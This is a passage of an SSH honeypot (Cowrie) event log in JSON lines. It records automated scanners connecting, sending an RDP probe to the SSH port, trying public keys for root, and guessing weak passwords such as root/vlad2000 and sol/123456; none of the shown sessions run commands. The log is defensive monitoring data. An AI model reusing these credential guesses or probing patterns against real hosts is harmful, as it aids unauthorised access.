:[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:36:43.746978Z","src_ip":"103.195.236.96","session":"ed17b6c0a396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad2000","message":"login attempt [root/vlad2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:36:44.750488Z","src_ip":"103.195.236.96","session":"ed17b6c0a396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:36:45.995460Z","src_ip":"103.195.236.96","session":"ed17b6c0a396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54315,"dst_ip":"159.203.135.109","dst_port":22,"session":"0351ef3096c7","protocol":"ssh","message":"New connection: 167.172.81.52:54315 (159.203.135.109:22) [session: 0351ef3096c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:05.124975Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:05.131704Z","src_ip":"167.172.81.52","session":"0351ef3096c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:05.137083Z","src_ip":"167.172.81.52","session":"0351ef3096c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62032,"dst_ip":"10.17.0.5","dst_port":22,"session":"339abc4f767c","protocol":"ssh","message":"New connection: 152.42.212.128:62032 (10.17.0.5:22) [session: 339abc4f767c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:17.227137Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:17.231958Z","src_ip":"152.42.212.128","session":"339abc4f767c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:17.235568Z","src_ip":"152.42.212.128","session":"339abc4f767c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.205.17.26","src_port":58924,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2ac993feac3","protocol":"ssh","message":"New connection: 103.205.17.26:58924 (10.17.0.5:22) [session: c2ac993feac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:32.737335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:32.742054Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:32.836307Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:6a:79:28:7c:2b:98:a9:6e:8a:17:04:06:a4:77:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClIKGaMBc30jF4QqztcBSgwjFV0bpwzYsX/SaPz6mxxct5ouTkmxvVMnTCXC2r2SpxgBRXyjU1mZubPolVkymeM4F/aSdwI5fF9g4DLJ810zZfara1cilsUsBNAjOq75O02bIu2ThCjQ8wrWTlC9K1BVPcVwzkPysj/igSSQR6GgLkDmSiNjzoTQPKNUm7nIX+k2Fcvm7octXGHCLFv3gkGn44tUo3PGFsbLOZxw3f1vTVyaDm6de5XT12DH8dScgdjJzPOLFReVgjW7/tZ1RR/nXZknyABQUB2O1B4jVDZpUy/ZivWd7kSl44qFB76FNdZQhNBXAImY1QzZaKlziv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:6a:79:28:7c:2b:98:a9:6e:8a:17:04:06:a4:77:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.283985Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:6a:79:28:7c:2b:98:a9:6e:8a:17:04:06:a4:77:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClIKGaMBc30jF4QqztcBSgwjFV0bpwzYsX/SaPz6mxxct5ouTkmxvVMnTCXC2r2SpxgBRXyjU1mZubPolVkymeM4F/aSdwI5fF9g4DLJ810zZfara1cilsUsBNAjOq75O02bIu2ThCjQ8wrWTlC9K1BVPcVwzkPysj/igSSQR6GgLkDmSiNjzoTQPKNUm7nIX+k2Fcvm7octXGHCLFv3gkGn44tUo3PGFsbLOZxw3f1vTVyaDm6de5XT12DH8dScgdjJzPOLFReVgjW7/tZ1RR/nXZknyABQUB2O1B4jVDZpUy/ZivWd7kSl44qFB76FNdZQhNBXAImY1QzZaKlziv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.287798Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:6b:a5:f8:30:cf:92:11:4d:00:2a:4d:ca:98:1e:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtE4eMtN5SssQd1ytbWjUOyWabT6wN9lNB1Snid14tKTKhf/5pluufb8cixjaG/Z2UkoM8fqB9fs0ZWWi+3kHaHOv0cWuwFyQy8zKHePco7a27d6+nagH47GtLwZRWw2Huj7KlxAwKsHtvRQr7evIfury9A0FJHd6JX/jXYmbZbBb4K8vDri5q6IwCSIevQyjBusErNPtWswGhCLvYana2d5GTxnANA3KECPiFJm0QuSTTDWTaEDaGgnXVnSV5FpNVwb6gEblKLa419zFknDZZB/sLBydzsqTDZSqlUUfeUaeQtsOwR9o0nTRvBo2jE2Wyh1rX6Oe0e8ZndfA9nZe/aaL0hW9y+pIPZqGXFHqvmfQ4zkci7VF6d6QCpeo419y2kgITSTxVNKdXHRpljm+7jspNOtkBMIr0nkDoDCB5kyAuj2NEgTCnSXJmNykK0ZmMqDyL1P6+MhGAvP7A0lCci+lU+9Z+AGlklgOVYV4JnK3KR5evPPV9s4VFD0JehtDW/2WbL/6fTHzyKBFp3EFF3mP1JAa33if10HVepSa8uxSkt5FE12tXm8kpICuzn9sLrmTpRQd9bdghFM97fUf/JUW5CKjQz6vMCGdeuTyWndhtf3TsRHkUVB3e7cKKnb3KpJM33pcmcZUcUSR7APZ92MhPlF7WpzUA18QTAw8SnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:6b:a5:f8:30:cf:92:11:4d:00:2a:4d:ca:98:1e:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.382077Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:6b:a5:f8:30:cf:92:11:4d:00:2a:4d:ca:98:1e:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtE4eMtN5SssQd1ytbWjUOyWabT6wN9lNB1Snid14tKTKhf/5pluufb8cixjaG/Z2UkoM8fqB9fs0ZWWi+3kHaHOv0cWuwFyQy8zKHePco7a27d6+nagH47GtLwZRWw2Huj7KlxAwKsHtvRQr7evIfury9A0FJHd6JX/jXYmbZbBb4K8vDri5q6IwCSIevQyjBusErNPtWswGhCLvYana2d5GTxnANA3KECPiFJm0QuSTTDWTaEDaGgnXVnSV5FpNVwb6gEblKLa419zFknDZZB/sLBydzsqTDZSqlUUfeUaeQtsOwR9o0nTRvBo2jE2Wyh1rX6Oe0e8ZndfA9nZe/aaL0hW9y+pIPZqGXFHqvmfQ4zkci7VF6d6QCpeo419y2kgITSTxVNKdXHRpljm+7jspNOtkBMIr0nkDoDCB5kyAuj2NEgTCnSXJmNykK0ZmMqDyL1P6+MhGAvP7A0lCci+lU+9Z+AGlklgOVYV4JnK3KR5evPPV9s4VFD0JehtDW/2WbL/6fTHzyKBFp3EFF3mP1JAa33if10HVepSa8uxSkt5FE12tXm8kpICuzn9sLrmTpRQd9bdghFM97fUf/JUW5CKjQz6vMCGdeuTyWndhtf3TsRHkUVB3e7cKKnb3KpJM33pcmcZUcUSR7APZ92MhPlF7WpzUA18QTAw8SnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.385860Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:34:60:1d:be:06:bf:ac:0f:83:a1:45:ce:52:da:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCprvfsDT0ve+nKOJ2xqqNvM8QwZUn2nN0aLrKnSG7sg1x67zJd7QXh9twaPgDT8nE55WT+sqJpMAl2QR+CpK4bHg4oFjvUka+aS/3OdYbip3LbbNpugDPK2Br+1tBAqZJxd1vJwNRUyy2Nw6Uc/sgcTJt5liDUpA3UzESect3sh9cLi61F3heRvn5I53Vx2Ukkepb4hWcGfzUDsr1iGRTPK+rhYZfpmeBdD0iwUphXPbWTqIsf1z8/J8zTyaL3s6BBkGX8nVxFwkDpbEYQMCYBgU57W0oLjmI/igv2MJ7rCsf84R43nQ1GTfUiaMZ5VN6BzOlu9qpwgSa5yRdS5qILWNqJUscCOHhUY1CWH59K8uUL5Vu1kmszAnyVswfRSzJ0C4bWkr4BT2SgPGxSe01kGbn2MnHP8WPls0OF7cuX34hcGLQffGBmOmdCVSlt39boj3XtBArgaoZGjp27u5m4PYt207gIloH4wWHy+TZ5TCQj5MPw9kIVZ/unNdbT5php7LDUFeqhGFgBa3rPJLwo3ouAoDACPVO5H2rS7fEA9+QSGLCpenqrXuSUZIfYMyZkn63+MP4NN1nn0Cv4vymwBPRXaHngZ9JTUMsDsRSjoevF0lYEMHPLf89xALJUzBPsFGgi8U+z4qw6Psa/Gk2sA49+RnzexZ+O5fx7NxdZ0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:34:60:1d:be:06:bf:ac:0f:83:a1:45:ce:52:da:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.480240Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:34:60:1d:be:06:bf:ac:0f:83:a1:45:ce:52:da:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCprvfsDT0ve+nKOJ2xqqNvM8QwZUn2nN0aLrKnSG7sg1x67zJd7QXh9twaPgDT8nE55WT+sqJpMAl2QR+CpK4bHg4oFjvUka+aS/3OdYbip3LbbNpugDPK2Br+1tBAqZJxd1vJwNRUyy2Nw6Uc/sgcTJt5liDUpA3UzESect3sh9cLi61F3heRvn5I53Vx2Ukkepb4hWcGfzUDsr1iGRTPK+rhYZfpmeBdD0iwUphXPbWTqIsf1z8/J8zTyaL3s6BBkGX8nVxFwkDpbEYQMCYBgU57W0oLjmI/igv2MJ7rCsf84R43nQ1GTfUiaMZ5VN6BzOlu9qpwgSa5yRdS5qILWNqJUscCOHhUY1CWH59K8uUL5Vu1kmszAnyVswfRSzJ0C4bWkr4BT2SgPGxSe01kGbn2MnHP8WPls0OF7cuX34hcGLQffGBmOmdCVSlt39boj3XtBArgaoZGjp27u5m4PYt207gIloH4wWHy+TZ5TCQj5MPw9kIVZ/unNdbT5php7LDUFeqhGFgBa3rPJLwo3ouAoDACPVO5H2rS7fEA9+QSGLCpenqrXuSUZIfYMyZkn63+MP4NN1nn0Cv4vymwBPRXaHngZ9JTUMsDsRSjoevF0lYEMHPLf89xALJUzBPsFGgi8U+z4qw6Psa/Gk2sA49+RnzexZ+O5fx7NxdZ0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.484192Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:d5:49:39:90:cc:74:b2:73:a0:ec:be:4c:67:97:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb25/9GbtqmDwdst/xn7GtOmmuBzEWbPILoRCJhxHgtjDztOvoUru4u9Q7V+RHlmNmgAP5O1NR2eS5d2gqb/8NbAKDRq8q4o0v/CppMuTTFQYaU6SHpo4upLhO3tNWO6CuPd5ffKRjzD6TfkfRAA1nbuj/DK7gni7E6qG0VY+2XPAZxFCck56EO3urGX22QjaylQ350KqGpYCpQeaCR/H2Yex2a6EHqu8xJF2wFukADUq/4Q6Gw5LTvxTldYei2hp+MAKPqkYgvB1IToBSvWHVPx4VBxERyvI/z8Avt4Yu2o6tu70Oh7MoNd/FlHoVlomtBxhVziNrBEJXEsCZ/b67bq4RYmzT6p5RBV3WQMGY8mvjuW31v5oWkWFZcKuGj1LbaKzbYLzSw4ElRTKzXx3CZXQlCIx08kgKRR6UeR17sfycpR96dmsOl2DudagN5UwjXO1Ziv7tIFb2gY0+6hBnzCvq4ESwLniFKBzk5NAcjv0jVJdht79nG50SoLXnEhbQp4OAM8hvvGzvWUDsbz3Oqnaezq1mkmPF3CnbojPveyLVU1AiNDtTyNuXqsdOfWB1iGI3hrO+npFGCyfsnGtGEepWTsghRbspwmwJo57+q8zm27D6NQs0WoJ4JsRggw7+Eaa56Z8cOQWw8DKASb/5TtJLP+bv4ogzKWa+xNTzYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:d5:49:39:90:cc:74:b2:73:a0:ec:be:4c:67:97:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.578724Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:d5:49:39:90:cc:74:b2:73:a0:ec:be:4c:67:97:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCb25/9GbtqmDwdst/xn7GtOmmuBzEWbPILoRCJhxHgtjDztOvoUru4u9Q7V+RHlmNmgAP5O1NR2eS5d2gqb/8NbAKDRq8q4o0v/CppMuTTFQYaU6SHpo4upLhO3tNWO6CuPd5ffKRjzD6TfkfRAA1nbuj/DK7gni7E6qG0VY+2XPAZxFCck56EO3urGX22QjaylQ350KqGpYCpQeaCR/H2Yex2a6EHqu8xJF2wFukADUq/4Q6Gw5LTvxTldYei2hp+MAKPqkYgvB1IToBSvWHVPx4VBxERyvI/z8Avt4Yu2o6tu70Oh7MoNd/FlHoVlomtBxhVziNrBEJXEsCZ/b67bq4RYmzT6p5RBV3WQMGY8mvjuW31v5oWkWFZcKuGj1LbaKzbYLzSw4ElRTKzXx3CZXQlCIx08kgKRR6UeR17sfycpR96dmsOl2DudagN5UwjXO1Ziv7tIFb2gY0+6hBnzCvq4ESwLniFKBzk5NAcjv0jVJdht79nG50SoLXnEhbQp4OAM8hvvGzvWUDsbz3Oqnaezq1mkmPF3CnbojPveyLVU1AiNDtTyNuXqsdOfWB1iGI3hrO+npFGCyfsnGtGEepWTsghRbspwmwJo57+q8zm27D6NQs0WoJ4JsRggw7+Eaa56Z8cOQWw8DKASb/5TtJLP+bv4ogzKWa+xNTzYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.582878Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:c1:1d:39:5f:f5:99:9a:09:48:63:92:2d:92:60:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC01yKXHGimWX7JD9f3md/EviaQHoxxqUSswulSkJCrwqY7jXztZ6KdaxJaIQwLge6m6lrrk70J2pA3JaNP0+TBELb2GbwNSD4NAgl0Ln0f7WkvMuE+XvG8gf7RMnSPPCDSHIZy+3PvbwmjCVCsgBp9Fuj4IvdDy/tRUOw51jPI0YFJARQnKsnCAIsgOCa20uvqTzat0C41srC9VUDAbSHWfza5LPfUQSoK8dQzYjrUi1w1uJWESwuoySoijW3XUJvXoXBnsIRJ+13nRfGhyORkuSstpvcdwOFMo06XjGPsZC7wnRsojPoUpsqqcfByB+EBbJoPH5hsqHiH/1WNajde53+/nnHInXfyZkTgf59NUq/V9ct7mgUJuPvqpNAYra3DE7gR9W5cIyEg3NK98c+UlopCrzZ5cE2lG4QnLCKfJNFwRqdwG128KXFeW5L8sJc5Cn/BsaQ8kP2/LnFWw5UHHYTRJ7U8F5722M/gaW4KVXFuLA8QNyWqzmoy+AL7M/oeXBXa4eThfb3I10IAlXGGXtEF3xe+9cfN1pDcjcOBl/ev/CTj6gRcRflb4ybhekp4STwkN4nkS9cn0H1cZeZroMosmpXlvMKTbGZWhpGINnF/rCOVFOr3ixGbAaBPChCTkUkza6tNIoSunCqPqLOj1YSCHM8NPcmrNiReBsEuVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:c1:1d:39:5f:f5:99:9a:09:48:63:92:2d:92:60:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.680302Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:c1:1d:39:5f:f5:99:9a:09:48:63:92:2d:92:60:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC01yKXHGimWX7JD9f3md/EviaQHoxxqUSswulSkJCrwqY7jXztZ6KdaxJaIQwLge6m6lrrk70J2pA3JaNP0+TBELb2GbwNSD4NAgl0Ln0f7WkvMuE+XvG8gf7RMnSPPCDSHIZy+3PvbwmjCVCsgBp9Fuj4IvdDy/tRUOw51jPI0YFJARQnKsnCAIsgOCa20uvqTzat0C41srC9VUDAbSHWfza5LPfUQSoK8dQzYjrUi1w1uJWESwuoySoijW3XUJvXoXBnsIRJ+13nRfGhyORkuSstpvcdwOFMo06XjGPsZC7wnRsojPoUpsqqcfByB+EBbJoPH5hsqHiH/1WNajde53+/nnHInXfyZkTgf59NUq/V9ct7mgUJuPvqpNAYra3DE7gR9W5cIyEg3NK98c+UlopCrzZ5cE2lG4QnLCKfJNFwRqdwG128KXFeW5L8sJc5Cn/BsaQ8kP2/LnFWw5UHHYTRJ7U8F5722M/gaW4KVXFuLA8QNyWqzmoy+AL7M/oeXBXa4eThfb3I10IAlXGGXtEF3xe+9cfN1pDcjcOBl/ev/CTj6gRcRflb4ybhekp4STwkN4nkS9cn0H1cZeZroMosmpXlvMKTbGZWhpGINnF/rCOVFOr3ixGbAaBPChCTkUkza6tNIoSunCqPqLOj1YSCHM8NPcmrNiReBsEuVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.684766Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:33.779596Z","src_ip":"103.205.17.26","session":"c2ac993feac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38332,"dst_ip":"10.17.0.5","dst_port":22,"session":"12fbe1d26980","protocol":"ssh","message":"New connection: 80.94.92.184:38332 (10.17.0.5:22) [session: 12fbe1d26980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:44.739599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:44.926726Z","src_ip":"80.94.92.184","session":"12fbe1d26980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:44.930734Z","src_ip":"80.94.92.184","session":"12fbe1d26980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:47.087701Z","src_ip":"80.94.92.184","session":"12fbe1d26980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:48.614500Z","src_ip":"80.94.92.184","session":"12fbe1d26980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":56742,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f625b5a7461","protocol":"ssh","message":"New connection: 38.93.206.2:56742 (159.203.135.109:22) [session: 4f625b5a7461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:52.300506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:37:52.305911Z","src_ip":"38.93.206.2","session":"4f625b5a7461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-n